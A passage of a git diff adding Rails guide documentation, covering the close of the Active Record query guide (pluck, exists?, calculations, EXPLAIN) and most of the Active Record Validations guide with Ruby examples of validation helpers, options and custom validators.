+# => ['admin', 'member', 'guest']
+
+Client.pluck(:id, :name)
+# SELECT clients.id, clients.name FROM clients
+# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+```
+
+`pluck` makes it possible to replace code like:
+
+```ruby
+Client.select(:id).map { |c| c.id }
+# or
+Client.select(:id).map(&:id)
+# or
+Client.select(:id, :name).map { |c| [c.id, c.name] }
+```
+
+with:
+
+```ruby
+Client.pluck(:id)
+# or
+Client.pluck(:id, :name)
+```
+
+Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`,
+without constructing `ActiveRecord` objects. This can mean better performance for
+a large or often-running query. However, any model method overrides will
+not be available. For example:
+
+```ruby
+class Client < ActiveRecord::Base
+  def name
+    "I am #{super}"
+  end
+end
+
+Client.select(:name).map &:name
+# => ["I am David", "I am Jeremy", "I am Jose"]
+
+Client.pluck(:name)
+# => ["David", "Jeremy", "Jose"]
+```
+
+Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate
+query, and thus cannot be chained with any further scopes, although it can work with
+scopes already constructed earlier:
+
+```ruby
+Client.pluck(:name).limit(1)
+# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>
+
+Client.limit(1).pluck(:name)
+# => ["David"]
+```
+
+### `ids`
+
+`ids` can be used to pluck all the IDs for the relation using the table's primary key.
+
+```ruby
+Person.ids
+# SELECT id FROM people
+```
+
+```ruby
+class Person < ActiveRecord::Base
+  self.primary_key = "person_id"
+end
+
+Person.ids
+# SELECT person_id FROM people
+```
+
+Existence of Objects
+--------------------
+
+If you simply want to check for the existence of the object there's a method called `exists?`.
+This method will query the database using the same query as `find`, but instead of returning an
+object or collection of objects it will return either `true` or `false`.
+
+```ruby
+Client.exists?(1)
+```
+
+The `exists?` method also takes multiple values, but the catch is that it will return `true` if any
+one of those records exists.
+
+```ruby
+Client.exists?(id: [1,2,3])
+# or
+Client.exists?(name: ['John', 'Sergei'])
+```
+
+It's even possible to use `exists?` without any arguments on a model or a relation.
+
+```ruby
+Client.where(first_name: 'Ryan').exists?
+```
+
+The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false`
+otherwise.
+
+```ruby
+Client.exists?
+```
+
+The above returns `false` if the `clients` table is empty and `true` otherwise.
+
+You can also use `any?` and `many?` to check for existence on a model or relation.
+
+```ruby
+# via a model
+Post.any?
+Post.many?
+
+# via a named scope
+Post.recent.any?
+Post.recent.many?
+
+# via a relation
+Post.where(published: true).any?
+Post.where(published: true).many?
+
+# via an association
+Post.first.categories.any?
+Post.first.categories.many?
+```
+
+Calculations
+------------
+
+This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
+
+All calculation methods work directly on a model:
+
+```ruby
+Client.count
+# SELECT count(*) AS count_all FROM clients
+```
+
+Or on a relation:
+
+```ruby
+Client.where(first_name: 'Ryan').count
+# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+```
+
+You can also use various finder methods on a relation for performing complex calculations:
+
+```ruby
+Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count
+```
+
+Which will execute:
+
+```sql
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+  (clients.first_name = 'Ryan' AND orders.status = 'received')
+```
+
+### Count
+
+If you want to see how many records are in your model's table you could call `Client.count` and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use `Client.count(:age)`.
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Average
+
+If you want to see the average of a certain number in one of your tables you can call the `average` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.average("orders_count")
+```
+
+This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Minimum
+
+If you want to find the minimum value of a field in your table you can call the `minimum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.minimum("age")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Maximum
+
+If you want to find the maximum value of a field in your table you can call the `maximum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.maximum("age")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Sum
+
+If you want to find the sum of a field for all records in your table you can call the `sum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.sum("orders_count")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+Running EXPLAIN
+---------------
+
+You can run EXPLAIN on the queries triggered by relations. For example,
+
+```ruby
+User.where(id: 1).joins(:posts).explain
+```
+
+may yield
+
+```
+EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra       |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |             |
+|  1 | SIMPLE      | posts | ALL   | NULL          | NULL    | NULL    | NULL  |    1 | Using where |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+2 rows in set (0.00 sec)
+```
+
+under MySQL.
+
+Active Record performs a pretty printing that emulates the one of the database
+shells. So, the same query running with the PostgreSQL adapter would yield instead
+
+```
+EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1
+                                  QUERY PLAN
+------------------------------------------------------------------------------
+ Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
+   Join Filter: (posts.user_id = users.id)
+   ->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
+         Index Cond: (id = 1)
+   ->  Seq Scan on posts  (cost=0.00..28.88 rows=8 width=4)
+         Filter: (posts.user_id = 1)
+(6 rows)
+```
+
+Eager loading may trigger more than one query under the hood, and some queries
+may need the results of previous ones. Because of that, `explain` actually
+executes the query, and then asks for the query plans. For example,
+
+```ruby
+User.where(id: 1).includes(:posts).explain
+```
+
+yields
+
+```
+EXPLAIN for: SELECT `users`.* FROM `users`  WHERE `users`.`id` = 1
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |       |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+1 row in set (0.00 sec)
+
+EXPLAIN for: SELECT `posts`.* FROM `posts`  WHERE `posts`.`user_id` IN (1)
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | Extra       |
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+|  1 | SIMPLE      | posts | ALL  | NULL          | NULL | NULL    | NULL |    1 | Using where |
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+1 row in set (0.00 sec)
+```
+
+under MySQL.
+
+### Interpreting EXPLAIN
+
+Interpretation of the output of EXPLAIN is beyond the scope of this guide. The
+following pointers may be helpful:
+
+* SQLite3: [EXPLAIN QUERY PLAN](http://www.sqlite.org/eqp.html)
+
+* MySQL: [EXPLAIN Output Format](http://dev.mysql.com/doc/refman/5.6/en/explain-output.html)
+
+* PostgreSQL: [Using EXPLAIN](http://www.postgresql.org/docs/current/static/using-explain.html)
diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md
new file mode 100644
index 0000000..6bedec1
--- /dev/null
+++ b/guides/source/active_record_validations.md
@@ -0,0 +1,1169 @@
+Active Record Validations
+=========================
+
+This guide teaches you how to validate the state of objects before they go into
+the database using Active Record's validations feature.
+
+After reading this guide, you will know:
+
+* How to use the built-in Active Record validation helpers.
+* How to create your own custom validation methods.
+* How to work with the error messages generated by the validation process.
+
+--------------------------------------------------------------------------------
+
+Validations Overview
+--------------------
+
+Here's an example of a very simple validation:
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+```
+
+As you can see, our validation lets us know that our `Person` is not valid
+without a `name` attribute. The second `Person` will not be persisted to the
+database.
+
+Before we dig into more details, let's talk about how validations fit into the
+big picture of your application.
+
+### Why Use Validations?
+
+Validations are used to ensure that only valid data is saved into your
+database. For example, it may be important to your application to ensure that
+every user provides a valid email address and mailing address. Model-level
+validations are the best way to ensure that only valid data is saved into your
+database. They are database agnostic, cannot be bypassed by end users, and are
+convenient to test and maintain. Rails makes them easy to use, provides
+built-in helpers for common needs, and allows you to create your own validation
+methods as well.
+
+There are several other ways to validate data before it is saved into your
+database, including native database constraints, client-side validations,
+controller-level validations. Here's a summary of the pros and cons:
+
+* Database constraints and/or stored procedures make the validation mechanisms
+  database-dependent and can make testing and maintenance more difficult.
+  However, if your database is used by other applications, it may be a good
+  idea to use some constraints at the database level. Additionally,
+  database-level validations can safely handle some things (such as uniqueness
+  in heavily-used tables) that can be difficult to implement otherwise.
+* Client-side validations can be useful, but are generally unreliable if used
+  alone. If they are implemented using JavaScript, they may be bypassed if
+  JavaScript is turned off in the user's browser. However, if combined with
+  other techniques, client-side validation can be a convenient way to provide
+  users with immediate feedback as they use your site.
+* Controller-level validations can be tempting to use, but often become
+  unwieldy and difficult to test and maintain. Whenever possible, it's a good
+  idea to keep your controllers skinny, as it will make your application a
+  pleasure to work with in the long run.
+
+Choose these in certain, specific cases. It's the opinion of the Rails team
+that model-level validations are the most appropriate in most circumstances.
+
+### When Does Validation Happen?
+
+There are two kinds of Active Record objects: those that correspond to a row
+inside your database and those that do not. When you create a fresh object, for
+example using the `new` method, that object does not belong to the database
+yet. Once you call `save` upon that object it will be saved into the
+appropriate database table. Active Record uses the `new_record?` instance
+method to determine whether an object is already in the database or not.
+Consider the following simple Active Record class:
+
+```ruby
+class Person < ActiveRecord::Base
+end
+```
+
+We can see how it works by looking at some `rails console` output:
+
+```ruby
+$ bin/rails console
+>> p = Person.new(name: "John Doe")
+=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+```
+
+Creating and saving a new record will send an SQL `INSERT` operation to the
+database. Updating an existing record will send an SQL `UPDATE` operation
+instead. Validations are typically run before these commands are sent to the
+database. If any validations fail, the object will be marked as invalid and
+Active Record will not perform the `INSERT` or `UPDATE` operation. This avoids
+storing an invalid object in the database. You can choose to have specific
+validations run when an object is created, saved, or updated.
+
+CAUTION: There are many ways to change the state of an object in the database.
+Some methods will trigger validations, but some will not. This means that it's
+possible to save an object in the database in an invalid state if you aren't
+careful.
+
+The following methods trigger validations, and will save the object to the
+database only if the object is valid:
+
+* `create`
+* `create!`
+* `save`
+* `save!`
+* `update`
+* `update!`
+
+The bang versions (e.g. `save!`) raise an exception if the record is invalid.
+The non-bang versions don't, `save` and `update` return `false`,
+`create` just returns the object.
+
+### Skipping Validations
+
+The following methods skip validations, and will save the object to the
+database regardless of its validity. They should be used with caution.
+
+* `decrement!`
+* `decrement_counter`
+* `increment!`
+* `increment_counter`
+* `toggle!`
+* `touch`
+* `update_all`
+* `update_attribute`
+* `update_column`
+* `update_columns`
+* `update_counters`
+
+Note that `save` also has the ability to skip validations if passed `validate:
+false` as argument. This technique should be used with caution.
+
+* `save(validate: false)`
+
+### `valid?` and `invalid?`
+
+To verify whether or not an object is valid, Rails uses the `valid?` method.
+You can also use this method on your own. `valid?` triggers your validations
+and returns true if no errors were found in the object, and false otherwise.
+As you saw above:
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+```
+
+After Active Record has performed validations, any errors found can be accessed
+through the `errors.messages` instance method, which returns a collection of errors.
+By definition, an object is valid if this collection is empty after running
+validations.
+
+Note that an object instantiated with `new` will not report errors even if it's
+technically invalid, because validations are not run when using `new`.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+>> p = Person.new
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {}
+
+>> p.valid?
+# => false
+>> p.errors.messages
+# => {name:["can't be blank"]}
+
+>> p = Person.create
+# => #<Person id: nil, name: nil>
+>> p.errors.messages
+# => {name:["can't be blank"]}
+
+>> p.save
+# => false
+
+>> p.save!
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+>> Person.create!
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```
+
+`invalid?` is simply the inverse of `valid?`. It triggers your validations,
+returning true if any errors were found in the object, and false otherwise.
+
+### `errors[]`
+
+To verify whether or not a particular attribute of an object is valid, you can
+use `errors[:attribute]`. It returns an array of all the errors for
+`:attribute`. If there are no errors on the specified attribute, an empty array
+is returned.
+
+This method is only useful _after_ validations have been run, because it only
+inspects the errors collection and does not trigger validations itself. It's
+different from the `ActiveRecord::Base#invalid?` method explained above because
+it doesn't verify the validity of the object as a whole. It only checks to see
+whether there are errors found on an individual attribute of the object.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, presence: true
+end
+
+>> Person.new.errors[:name].any? # => false
+>> Person.create.errors[:name].any? # => true
+```
+
+We'll cover validation errors in greater depth in the [Working with Validation
+Errors](#working-with-validation-errors) section. For now, let's turn to the
+built-in validation helpers that Rails provides by default.
+
+Validation Helpers
+------------------
+
+Active Record offers many pre-defined validation helpers that you can use
+directly inside your class definitions. These helpers provide common validation
+rules. Every time a validation fails, an error message is added to the object's
+`errors` collection, and this message is associated with the attribute being
+validated.
+
+Each helper accepts an arbitrary number of attribute names, so with a single
+line of code you can add the same kind of validation to several attributes.
+
+All of them accept the `:on` and `:message` options, which define when the
+validation should be run and what message should be added to the `errors`
+collection if it fails, respectively. The `:on` option takes one of the values
+`:create` or `:update`. There is a default error
+message for each one of the validation helpers. These messages are used when
+the `:message` option isn't specified. Let's take a look at each one of the
+available helpers.
+
+### `acceptance`
+
+This method validates that a checkbox on the user interface was checked when a
+form was submitted. This is typically used when the user needs to agree to your
+application's terms of service, confirm reading some text, or any similar
+concept. This validation is very specific to web applications and this
+'acceptance' does not need to be recorded anywhere in your database (if you
+don't have a field for it, the helper will just create a virtual attribute).
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :terms_of_service, acceptance: true
+end
+```
+
+The default error message for this helper is _"must be accepted"_.
+
+It can receive an `:accept` option, which determines the value that will be
+considered acceptance. It defaults to "1" and can be easily changed.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :terms_of_service, acceptance: { accept: 'yes' }
+end
+```
+
+### `validates_associated`
+
+You should use this helper when your model has associations with other models
+and they also need to be validated. When you try to save your object, `valid?`
+will be called upon each one of the associated objects.
+
+```ruby
+class Library < ActiveRecord::Base
+  has_many :books
+  validates_associated :books
+end
+```
+
+This validation will work with all of the association types.
+
+CAUTION: Don't use `validates_associated` on both ends of your associations.
+They would call each other in an infinite loop.
+
+The default error message for `validates_associated` is _"is invalid"_. Note
+that each associated object will contain its own `errors` collection; errors do
+not bubble up to the calling model.
+
+### `confirmation`
+
+You should use this helper when you have two text fields that should receive
+exactly the same content. For example, you may want to confirm an email address
+or a password. This validation creates a virtual attribute whose name is the
+name of the field that has to be confirmed with "_confirmation" appended.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :email, confirmation: true
+end
+```
+
+In your view template you could use something like
+
+```erb
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+```
+
+This check is performed only if `email_confirmation` is not `nil`. To require
+confirmation, make sure to add a presence check for the confirmation attribute
+(we'll take a look at `presence` later on this guide):
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :email, confirmation: true
+  validates :email_confirmation, presence: true
+end
+```
+
+The default error message for this helper is _"doesn't match confirmation"_.
+
+### `exclusion`
+
+This helper validates that the attributes' values are not included in a given
+set. In fact, this set can be any enumerable object.
+
+```ruby
+class Account < ActiveRecord::Base
+  validates :subdomain, exclusion: { in: %w(www us ca jp),
+    message: "%{value} is reserved." }
+end
+```
+
+The `exclusion` helper has an option `:in` that receives the set of values that
+will not be accepted for the validated attributes. The `:in` option has an
+alias called `:within` that you can use for the same purpose, if you'd like to.
+This example uses the `:message` option to show how you can include the
+attribute's value.
+
+The default error message is _"is reserved"_.
+
+### `format`
+
+This helper validates the attributes' values by testing whether they match a
+given regular expression, which is specified using the `:with` option.
+
+```ruby
+class Product < ActiveRecord::Base
+  validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
+    message: "only allows letters" }
+end
+```
+
+The default error message is _"is invalid"_.
+
+### `inclusion`
+
+This helper validates that the attributes' values are included in a given set.
+In fact, this set can be any enumerable object.
+
+```ruby
+class Coffee < ActiveRecord::Base
+  validates :size, inclusion: { in: %w(small medium large),
+    message: "%{value} is not a valid size" }
+end
+```
+
+The `inclusion` helper has an option `:in` that receives the set of values that
+will be accepted. The `:in` option has an alias called `:within` that you can
+use for the same purpose, if you'd like to. The previous example uses the
+`:message` option to show how you can include the attribute's value.
+
+The default error message for this helper is _"is not included in the list"_.
+
+### `length`
+
+This helper validates the length of the attributes' values. It provides a
+variety of options, so you can specify length constraints in different ways:
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, length: { minimum: 2 }
+  validates :bio, length: { maximum: 500 }
+  validates :password, length: { in: 6..20 }
+  validates :registration_number, length: { is: 6 }
+end
+```
+
+The possible length constraint options are:
+
+* `:minimum` - The attribute cannot have less than the specified length.
+* `:maximum` - The attribute cannot have more than the specified length.
+* `:in` (or `:within`) - The attribute length must be included in a given
+  interval. The value for this option must be a range.
+* `:is` - The attribute length must be equal to the given value.
+
+The default error messages depend on the type of length validation being
+performed. You can personalize these messages using the `:wrong_length`,
+`:too_long`, and `:too_short` options and `%{count}` as a placeholder for the
+number corresponding to the length constraint being used. You can still use the
+`:message` option to specify an error message.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :bio, length: { maximum: 1000,
+    too_long: "%{count} characters is the maximum allowed" }
+end
+```
+
+This helper counts characters by default, but you can split the value in a
+different way using the `:tokenizer` option:
+
+```ruby
+class Essay < ActiveRecord::Base
+  validates :content, length: {
+    minimum: 300,
+    maximum: 400,
+    tokenizer: lambda { |str| str.scan(/\w+/) },
+    too_short: "must have at least %{count} words",
+    too_long: "must have at most %{count} words"
+  }
+end
+```
+
+Note that the default error messages are plural (e.g., "is too short (minimum
+is %{count} characters)"). For this reason, when `:minimum` is 1 you should
+provide a personalized message or use `presence: true` instead. When
+`:in` or `:within` have a lower limit of 1, you should either provide a
+personalized message or call `presence` prior to `length`.
+
+### `numericality`
+
+This helper validates that your attributes have only numeric values. By
+default, it will match an optional sign followed by an integral or floating
+point number. To specify that only integral numbers are allowed set
+`:only_integer` to true.
+
+If you set `:only_integer` to `true`, then it will use the
+
+```ruby
+/\A[+-]?\d+\Z/
+```
+
+regular expression to validate the attribute's value. Otherwise, it will try to
+convert the value to a number using `Float`.
+
+WARNING. Note that the regular expression above allows a trailing newline
+character.
+
+```ruby
+class Player < ActiveRecord::Base
+  validates :points, numericality: true
+  validates :games_played, numericality: { only_integer: true }
+end
+```
+
+Besides `:only_integer`, this helper also accepts the following options to add
+constraints to acceptable values:
+
+* `:greater_than` - Specifies the value must be greater than the supplied
+  value. The default error message for this option is _"must be greater than
+  %{count}"_.
+* `:greater_than_or_equal_to` - Specifies the value must be greater than or
+  equal to the supplied value. The default error message for this option is
+  _"must be greater than or equal to %{count}"_.
+* `:equal_to` - Specifies the value must be equal to the supplied value. The
+  default error message for this option is _"must be equal to %{count}"_.
+* `:less_than` - Specifies the value must be less than the supplied value. The
+  default error message for this option is _"must be less than %{count}"_.
+* `:less_than_or_equal_to` - Specifies the value must be less than or equal the
+  supplied value. The default error message for this option is _"must be less
+  than or equal to %{count}"_.
+* `:odd` - Specifies the value must be an odd number if set to true. The
+  default error message for this option is _"must be odd"_.
+* `:even` - Specifies the value must be an even number if set to true. The
+  default error message for this option is _"must be even"_.
+
+The default error message is _"is not a number"_.
+
+### `presence`
+
+This helper validates that the specified attributes are not empty. It uses the
+`blank?` method to check if the value is either `nil` or a blank string, that
+is, a string that is either empty or consists of whitespace.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, :login, :email, presence: true
+end
+```
+
+If you want to be sure that an association is present, you'll need to test
+whether the associated object itself is present, and not the foreign key used
+to map the association.
+
+```ruby
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+  validates :order, presence: true
+end
+```
+
+In order to validate associated records whose presence is required, you must
+specify the `:inverse_of` option for the association:
+
+```ruby
+class Order < ActiveRecord::Base
+  has_many :line_items, inverse_of: :order
+end
+```
+
+If you validate the presence of an object associated via a `has_one` or
+`has_many` relationship, it will check that the object is neither `blank?` nor
+`marked_for_destruction?`.
+
+Since `false.blank?` is true, if you want to validate the presence of a boolean
+field you should use `validates :field_name, inclusion: { in: [true, false] }`.
+
+The default error message is _"can't be blank"_.
+
+### `absence`
+
+This helper validates that the specified attributes are absent. It uses the
+`present?` method to check if the value is not either nil or a blank string, that
+is, a string that is either empty or consists of whitespace.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, :login, :email, absence: true
+end
+```
+
+If you want to be sure that an association is absent, you'll need to test
+whether the associated object itself is absent, and not the foreign key used
+to map the association.
+
+```ruby
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+  validates :order, absence: true
+end
+```
+
+In order to validate associated records whose absence is required, you must
+specify the `:inverse_of` option for the association:
+
+```ruby
+class Order < ActiveRecord::Base
+  has_many :line_items, inverse_of: :order
+end
+```
+
+If you validate the absence of an object associated via a `has_one` or
+`has_many` relationship, it will check that the object is neither `present?` nor
+`marked_for_destruction?`.
+
+Since `false.present?` is false, if you want to validate the absence of a boolean
+field you should use `validates :field_name, exclusion: { in: [true, false] }`.
+
+The default error message is _"must be blank"_.
+
+### `uniqueness`
+
+This helper validates that the attribute's value is unique right before the
+object gets saved. It does not create a uniqueness constraint in the database,
+so it may happen that two different database connections create two records
+with the same value for a column that you intend to be unique. To avoid that,
+you must create a unique index on both columns in your database. See
+[the MySQL manual](http://dev.mysql.com/doc/refman/5.6/en/multiple-column-indexes.html)
+for more details about multiple column indexes.
+
+```ruby
+class Account < ActiveRecord::Base
+  validates :email, uniqueness: true
+end
+```
+
+The validation happens by performing an SQL query into the model's table,
+searching for an existing record with the same value in that attribute.
+
+There is a `:scope` option that you can use to specify other attributes that
+are used to limit the uniqueness check:
+
+```ruby
+class Holiday < ActiveRecord::Base
+  validates :name, uniqueness: { scope: :year,
+    message: "should happen once per year" }
+end
+```
+
+There is also a `:case_sensitive` option that you can use to define whether the
+uniqueness constraint will be case sensitive or not. This option defaults to
+true.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, uniqueness: { case_sensitive: false }
+end
+```
+
+WARNING. Note that some databases are configured to perform case-insensitive
+searches anyway.
+
+The default error message is _"has already been taken"_.
+
+### `validates_with`
+
+This helper passes the record to a separate class for validation.
+
+```ruby
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if record.first_name == "Evil"
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+
+class Person < ActiveRecord::Base
+  validates_with GoodnessValidator
+end
+```
+
+NOTE: Errors added to `record.errors[:base]` relate to the state of the record
+as a whole, and not to a specific attribute.
+
+The `validates_with` helper takes a class, or a list of classes to use for
+validation. There is no default error message for `validates_with`. You must
+manually add errors to the record's errors collection in the validator class.
+
+To implement the validate method, you must have a `record` parameter defined,
+which is the record to be validated.
+
+Like all other validations, `validates_with` takes the `:if`, `:unless` and
+`:on` options. If you pass any other options, it will send those options to the
+validator class as `options`:
+
+```ruby
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if options[:fields].any?{|field| record.send(field) == "Evil" }
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+
+class Person < ActiveRecord::Base
+  validates_with GoodnessValidator, fields: [:first_name, :last_name]
+end
+```
+
+Note that the validator will be initialized *only once* for the whole application
+life cycle, and not on each validation run, so be careful about using instance
+variables inside it.
+
+If your validator is complex enough that you want instance variables, you can
+easily use a plain old Ruby object instead:
+
+```ruby
+class Person < ActiveRecord::Base
+  validate do |person|
+    GoodnessValidator.new(person).validate
+  end
+end
+
+class GoodnessValidator
+  def initialize(person)
+    @person = person
+  end
+
+  def validate
+    if some_complex_condition_involving_ivars_and_private_methods?
+      @person.errors[:base] << "This person is evil"
+    end
+  end
+
+  # ...
+end
+```
+
+### `validates_each`
+
+This helper validates attributes against a block. It doesn't have a predefined
+validation function. You should create one using a block, and every attribute
+passed to `validates_each` will be tested against it. In the following example,
+we don't want names and surnames to begin with lower case.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates_each :name, :surname do |record, attr, value|
+    record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
+  end
+end
+```
+
+The block receives the record, the attribute's name and the attribute's value.
+You can do anything you like to check for valid data within the block. If your
+validation fails, you should add an error message to the model, therefore
+making it invalid.
+
+Common Validation Options
+-------------------------
+
+These are common validation options:
+
+### `:allow_nil`
+
+The `:allow_nil` option skips the validation when the value being validated is
+`nil`.
+
+```ruby
+class Coffee < ActiveRecord::Base
+  validates :size, inclusion: { in: %w(small medium large),
+    message: "%{value} is not a valid size" }, allow_nil: true
+end
+```
+
+### `:allow_blank`
+
+The `:allow_blank` option is similar to the `:allow_nil` option. This option
+will let validation pass if the attribute's value is `blank?`, like `nil` or an
+empty string for example.
+
+```ruby
+class Topic < ActiveRecord::Base
+  validates :title, length: { is: 5 }, allow_blank: true
+end
+
+Topic.create(title: "").valid?  # => true
+Topic.create(title: nil).valid? # => true
+```
+
+### `:message`
+
+As you've already seen, the `:message` option lets you specify the message that
+will be added to the `errors` collection when validation fails. When this
+option is not used, Active Record will use the respective default error message
+for each validation helper.
+
+### `:on`
+
+The `:on` option lets you specify when the validation should happen. The
+default behavior for all the built-in validation helpers is to be run on save
+(both when you're creating a new record and when you're updating it). If you
+want to change it, you can use `on: :create` to run the validation only when a
+new record is created or `on: :update` to run the validation only when a record
+is updated.
+
+```ruby
+class Person < ActiveRecord::Base
+  # it will be possible to update email with a duplicated value
+  validates :email, uniqueness: true, on: :create
+
+  # it will be possible to create the record with a non-numerical age
+  validates :age, numericality: true, on: :update
+
+  # the default (validates on both create and update)
+  validates :name, presence: true
+end
+```
+
+Strict Validations
+------------------
+
+You can also specify validations to be strict and raise
+`ActiveModel::StrictValidationFailed` when the object is invalid.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :name, presence: { strict: true }
+end
+
+Person.new.valid?  # => ActiveModel::StrictValidationFailed: Name can't be blank
+```
+
+There is also an ability to pass custom exception to `:strict` option.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
+end
+
+Person.new.valid?  # => TokenGenerationException: Token can't be blank
+```
+
+Conditional Validation
+----------------------
+
+Sometimes it will make sense to validate an object only when a given predicate
+is satisfied. You can do that by using the `:if` and `:unless` options, which
+can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if`
+option when you want to specify when the validation **should** happen. If you
+want to specify when the validation **should not** happen, then you may use the
+`:unless` option.
+
+### Using a Symbol with `:if` and `:unless`
+
+You can associate the `:if` and `:unless` options with a symbol corresponding
+to the name of a method that will get called right before validation happens.
+This is the most commonly used option.
+
+```ruby
+class Order < ActiveRecord::Base
+  validates :card_number, presence: true, if: :paid_with_card?
+
+  def paid_with_card?
+    payment_type == "card"
+  end
+end
+```
+
+### Using a String with `:if` and `:unless`
+
+You can also use a string that will be evaluated using `eval` and needs to
+contain valid Ruby code. You should use this option only when the string
+represents a really short condition.
+
+```ruby
+class Person < ActiveRecord::Base
+  validates :surname, presence: true, if: "name.nil?"
+end
+```
+
+### Using a Proc with `:if` and `:unless`
+
+Finally, it's possible to associate `:if` and `:unless` with a `Proc` object
+which will be called. Using a `Proc` object gives you the ability to write an
+inline condition instead of a separate method. This option is best suited for
+one-liners.
+
+```ruby
+class Account < ActiveRecord::Base
+  validates :password, confirmation: true,
+    unless: Proc.new { |a| a.password.blank? }
+end
+```
+
+### Grouping Conditional validations
+
+Sometimes it is useful to have multiple validations use one condition, it can
+be easily achieved using `with_options`.
+
+```ruby
+class User < ActiveRecord::Base
+  with_options if: :is_admin? do |admin|
+    admin.validates :password, length: { minimum: 10 }
+    admin.validates :email, presence: true
+  end
+end
+```
+
+All validations inside of `with_options` block will have automatically passed
+the condition `if: :is_admin?`
+
+### Combining Validation Conditions
+
+On the other hand, when multiple conditions define whether or not a validation
+should happen, an `Array` can be used. Moreover, you can apply both `:if` and
+`:unless` to the same validation.
+
+```ruby
+class Computer < ActiveRecord::Base
+  validates :mouse, presence: true,
+                    if: ["market.retail?", :desktop?]
+                    unless: Proc.new { |c| c.trackpad.present? }
+end
+```
+
+The validation only runs when all the `:if` conditions and none of the
+`:unless` conditions are evaluated to `true`.
+
+Performing Custom Validations
+-----------------------------
+
+When the built-in validation helpers are not enough for your needs, you can
+write your own validators or validation methods as you prefer.
+
+### Custom Validators
+
+Custom validators are classes that extend `ActiveModel::Validator`. These
+classes must implement a `validate` method which takes a record as an argument
+and performs the validation on it. The custom validator is called using the
+`validates_with` method.
+
+```ruby
+class MyValidator < ActiveModel::Validator
+  def validate(record)
+    unless record.name.starts_with? 'X'
+      record.errors[:name] << 'Need a name starting with X please!'
+    end
+  end
+end
+
+class Person
+  include ActiveModel::Validations
+  validates_with MyValidator
+end
+```
+
+The easiest way to add custom validators for validating individual attributes
